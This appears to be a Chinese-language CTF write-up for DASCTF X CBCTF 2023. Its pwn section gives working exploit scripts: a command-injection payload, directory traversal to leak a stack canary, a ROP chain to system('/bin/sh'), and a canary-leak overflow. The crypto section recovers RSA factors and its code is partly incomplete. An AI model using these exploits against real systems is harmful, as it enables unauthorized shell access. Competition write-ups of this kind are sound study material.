DASCTF X CBCTF 2023 WP
PWN
EASYBOX
这题一开始通过CAT函数读出canary.txt,然后找溢出点找了两小时😅
最后发现直接就是个web题,在PING函数里面执行system函数命令
;tac fla’’g;
还有一种解法是栈溢出
catCommand中strcat的第二个参数s没有ban掉”..”,所以存在目录穿越能够读前面init函数中的canary文件
gets是把v1这个fd对应的文件中的数据读到栈上,读0x200大小,但其实v11这个数组只有120大小,所以就可能存在溢出
from Excalibur import*
import base64
contextset()
#remo('node4.buuoj.cn',25365)
proc('./pwn')
sla(b'name:',b'a\n')
sla(b'a',b'CAT')
sla(b'view:',b'../secret/canary.txt')
rc()
canary = (ru(b'\n'))
canary = int(canary,16)
prh(canary)
pop_rdi = 0x0000000000401ce3
binsh = 0x0000000000402090
ret = 0x000000000040101a
system = 0x00000000004018B2
sla(b'$',b'PING')
pay = b'a'*0x48+p64(canary)+p64(0)+p64(pop_rdi)+p64(binsh)+p64(system)
pay = base64.b64encode(pay)
py = b";echo "+b'"'
py += pay
py += b'" | base64 -d'
sla(b"address",py)
sla(b'$',b"CAT")
sla(b"view","result.txt")
ia()
GuestBook
输入name的时候有溢出,可以覆盖一个字节泄露canary,
接着在strcpy中有溢出,直接传payload,被strcpy遇b’\x00’截断这个问题卡住了(遇零截断意味着无法传输字符\x00,然而canary以\x00结尾)
调试解决发现在 __isoc99_scanf(“%s”, message);输入字符串的时候会在后面补零
于是可以通过多次输入先输入覆盖返回地址和canary除去\x00的七个字符,再给canary补上\x00
from Excalibur import*
contextset()
remo('node4.buuoj.cn',28227)
#proc('./GuestBook')
#debug('b *0x000000000040143C')
sla(b'name:',b'a'*(0x17)+b'b')
t1 = ru(b'\n')
pr(t1)
canary0 = ru(b'How')[:-7]
canary = (u64(b'\x00'+canary0))
prh(canary)
system = 0x00000000004012C3
sla(b'):',b'4')
sl(cyclic(0x98)+b'a'+canary0+b'a'*8+p64(system))
sl(b'a')
sl(b'a')
pr(type(canary))
pay = cyclic(0x38)#+p64(canary)+b'a'*8+p64(system)
sl(pay)
ia()
Crypto
RSA
想恢复p,关键在于二次剩余
加密是一个比特一个比特地加密,恢复时判断是否为二次剩余即可恢复
对于q就更简单,直接求多项式的gcd即可
代码如下
from gmpy2 import *
from Crypto.Util.number import *
c = 124349762993424531697403299350944207725577290992189948388824124986066269514204313888980321088629462472088631052329128042837153718129149149661961926557818023704330462282009415874674794190206220980118413541269327644472633791532767765585035518183177197863522573410860341245613331398610013697803459403446614221369
(e1, noise1, c1) = (1743, 44560588075773853612820227436439937514195680734214431948441190347878274184937952381785302837541202705212687700521129385632776241537669208088777729355349833215443048466316517110778502508209433792603420158786772339233397583637570006255153020675167597396958251208681121668808253767520416175569161674463861719776, 65643009354198075182587766550521107063140340983433852821580802983736094225036497335607400197479623208915379722646955329855681601551282788854644359967909570360251550766970054185510197999091645907461580987639650262519866292285164258262387411847857812391136042309550813795587776534035784065962779853621152905983)
(e2, noise2, c2) = (1325, 35282006599813744140721262875292395887558561517759721467291789696459426702600397172655624765281531167221787036009507833425145071265739486735993631460189629709591456017092661028839951392247601628468621576100035700437892164435424035004463142959219067199451575338270613300215815894328788753564798153516122567683, 50327632090778183759544755226710110702046850880299488259739672542025916422119065179822210884622225945376465802069464782311211031263046593145733701591371950349735709553105217501410716570601397725812709771348772095131473415552527749452347866778401205442409443726952960806789526845194216490544108773715759733714)
n2 = 103670293685965841863872863719573676572683187403862749665555450164387906552249974071743238931253290278574192713467491802940810851806104430306195931179902098180199167945649526235613636163362672777298968943319216325949503045377100235181706964846408396946496139224344270391027205106691880999410424150216806861393
n1 = 65634094430927080732256164808833233563732628654160389042977689628512527168256899310662239009610512772020503283842588142453533499954947692968978190310627721338357432052800695091789711809256924541784954080619073213358228083200846540676931341013554634493581962527475555869292091755676130810562421465063412235309
str0=''#wp装不下这么长的字符
#legendre_symbol(i,p)
def GCD(a, b):
if(b == 0):
return a.monic()
else:
return GCD(b, a % b)
F.<x>=PolynomialRing(Zmod(n2))
f1=(x+noise1)^e1-c1
f2=(x+noise2)^e2-c2
#print(GCD(f1,f2))
q=n2-103670293685965841863872863719573676572683187403862749665555450164387906552249974071743238931253290278574192713467491802940810851806104430306195931179902084990861262304328268863425199809518254496553684067856859306280794877830073274539837451563189724268783548897996668966918676147376205691514341926655798880936
print(q)
print(q.nbits())
strlist=str0.split('n')
#print(strlist)
intlist=[int(i) for i in strlist[:-1]]
#print(intlist)
p=''
for i in intlist:
#print('test'+p)
if jacobi(i,n1)==1:
p='1'+p
#print(p)
else:
p='0'+p
print(p)
print(int(p,base=2))
p=int(p,base=2)
print(is_prime(p))
print(ZZ(p).nbits())
n=p*q
phi=(p-1)*(q-1)
d=inverse_mod(65537,phi)
print(long_to_bytes(int(pow(c,d,n))))
CB backpack
由于连续六个01串中有3个1,在原始背包格的基础上每连续六列新增一列,限制这个条件,最终LLL即可还原
脚本丢了XD